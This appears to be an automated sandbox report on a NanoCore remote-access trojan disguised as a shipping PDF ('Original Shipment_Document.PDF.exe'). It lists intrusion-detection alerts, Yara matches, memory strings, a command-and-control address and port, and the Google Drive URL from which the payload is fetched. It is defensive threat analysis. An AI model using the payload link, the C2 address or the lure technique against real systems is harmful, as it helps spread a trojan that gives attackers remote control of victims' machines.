Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49890 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49891 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49891 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49892 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2841753 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 188.127.230.176:4726 -> 192.168.11.20:49892

Yara detected Generic Downloader

Source: Yara match

File source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bcmtj5ie1disn24fvm7mb2d8jibr4j1v/1659691950000/06422039211485589527/*/1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r?e=download&uuid=fa4270ed-3082-4e6e-8e77-e38f9ee0c1fd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-14-70-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49794 -> 188.127.230.176:4726

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 00000088.00000003.186209483638.0000000001241000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.185951105666.0000000001241000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.185946644468.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000088.00000003.185946644468.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com
Source: Original Shipment_Document.PDF.exe, windows.exe.136.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: CasPol.exe, 00000088.00000003.185946644468.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external
Source: CasPol.exe, 00000088.00000003.186565322060.0000000001202000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186517811821.0000000001201000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.185951314480.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-14-70-docs.googleusercontent.com/
Source: CasPol.exe, 00000088.00000003.185950717846.0000000001214000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-14-70-docs.googleusercontent.com/%%doc-14-70-docs.googleusercontent.com
Source: CasPol.exe, 00000088.00000003.185946644468.000000000122A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-14-70-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bcmtj5ie
Source: CasPol.exe, 00000088.00000003.186210437136.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000088.00000003.186210437136.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r
Source: CasPol.exe, 00000088.00000003.186345012682.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186246224448.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186210437136.00000000011CD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186438307331.00000000011D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2roiA
Source: CasPol.exe, 00000088.00000003.186210437136.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/x~

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bcmtj5ie1disn24fvm7mb2d8jibr4j1v/1659691950000/06422039211485589527/*/1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r?e=download&uuid=fa4270ed-3082-4e6e-8e77-e38f9ee0c1fd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-14-70-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.179.174:443 -> 192.168.11.20:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.11.20:49792 version: TLS 1.2

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_004056A8 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_004056A8

Source: Conhost.exe	Process created: 63
Source: cmd.eXe	Process created: 119

System Summary

Malicious sample detected (through community Yara rule)

Source: 136.3.CasPol.exe.1ed365d7.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 136.3.CasPol.exe.1ed365d7.1.unpack, type: UNPACKEDPE	Matched rule: Detects NanoCore Author: ditekSHen
Source: 136.3.CasPol.exe.1ed365d7.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 Author: unknown
Source: 136.3.CasPol.exe.1ed1c57e.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 136.3.CasPol.exe.1ed1c57e.2.unpack, type: UNPACKEDPE	Matched rule: Detects NanoCore Author: ditekSHen
Source: 136.3.CasPol.exe.1ed1c57e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 Author: unknown
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects NanoCore Author: ditekSHen
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects NanoCore Author: ditekSHen
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 Author: unknown
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 Author: unknown
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects NanoCore Author: ditekSHen
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 Author: unknown
Source: 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 Author: unknown
Source: Process Memory Space: CasPol.exe PID: 4156, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: CasPol.exe PID: 4156, type: MEMORYSTR	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Original Shipment_Document.PDF.exe

Executable has a suspicious name (potential lure to open the executable)

Source: Original Shipment_Document.PDF.exe

Static file information: Suspicious name

Source: Original Shipment_Document.PDF.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 136.3.CasPol.exe.1ed365d7.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed365d7.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed365d7.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 136.3.CasPol.exe.1ed365d7.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 reference_sample = b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Nanocore, fingerprint = e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4, id = d8c4e3c5-8bcc-43d2-9104-fa3774282da5, last_modified = 2021-08-23
Source: 136.3.CasPol.exe.1ed1c57e.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed1c57e.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed1c57e.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 136.3.CasPol.exe.1ed1c57e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 reference_sample = b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Nanocore, fingerprint = e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4, id = d8c4e3c5-8bcc-43d2-9104-fa3774282da5, last_modified = 2021-08-23
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 136.3.CasPol.exe.1ed1c57e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 reference_sample = b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Nanocore, fingerprint = e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4, id = d8c4e3c5-8bcc-43d2-9104-fa3774282da5, last_modified = 2021-08-23
Source: 136.3.CasPol.exe.1ed365d7.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 reference_sample = b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Nanocore, fingerprint = e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4, id = d8c4e3c5-8bcc-43d2-9104-fa3774282da5, last_modified = 2021-08-23
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 136.3.CasPol.exe.1ed30ba9.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 reference_sample = b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Nanocore, fingerprint = e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4, id = d8c4e3c5-8bcc-43d2-9104-fa3774282da5, last_modified = 2021-08-23
Source: 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 reference_sample = b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Nanocore, fingerprint = e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4, id = d8c4e3c5-8bcc-43d2-9104-fa3774282da5, last_modified = 2021-08-23
Source: Process Memory Space: CasPol.exe PID: 4156, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: CasPol.exe PID: 4156, type: MEMORYSTR	Matched rule: Windows_Trojan_Nanocore_d8c4e3c5 reference_sample = b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Nanocore, fingerprint = e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4, id = d8c4e3c5-8bcc-43d2-9104-fa3774282da5, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_004034F7 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

1_2_004034F7

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_00406BFE	1_2_00406BFE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_718D1BFF	1_2_718D1BFF
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328F608	1_2_0328F608
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03290DE4	1_2_03290DE4
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281329	1_2_03281329
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328032E	1_2_0328032E
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289B38	1_2_03289B38
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280B39	1_2_03280B39
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281B3F	1_2_03281B3F
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281730	1_2_03281730
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03282731	1_2_03282731
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280B00	1_2_03280B00
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280F17	1_2_03280F17
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280B6D	1_2_03280B6D
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328076E	1_2_0328076E
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281365	1_2_03281365
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280366	1_2_03280366
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281B71	1_2_03281B71
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281774	1_2_03281774
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03286775	1_2_03286775
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03291B4A	1_2_03291B4A
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328FB4E	1_2_0328FB4E
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280F59	1_2_03280F59
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289F53	1_2_03289F53
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280BAB	1_2_03280BAB
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032817A4	1_2_032817A4
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032803A4	1_2_032803A4
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281BB9	1_2_03281BB9
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032873B1	1_2_032873B1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280F94	1_2_03280F94
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032817FB	1_2_032817FB
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328A3F0	1_2_0328A3F0
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032803F1	1_2_032803F1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280BF7	1_2_03280BF7
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032817CE	1_2_032817CE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280FD8	1_2_03280FD8
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032807D2	1_2_032807D2
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03281BD7	1_2_03281BD7
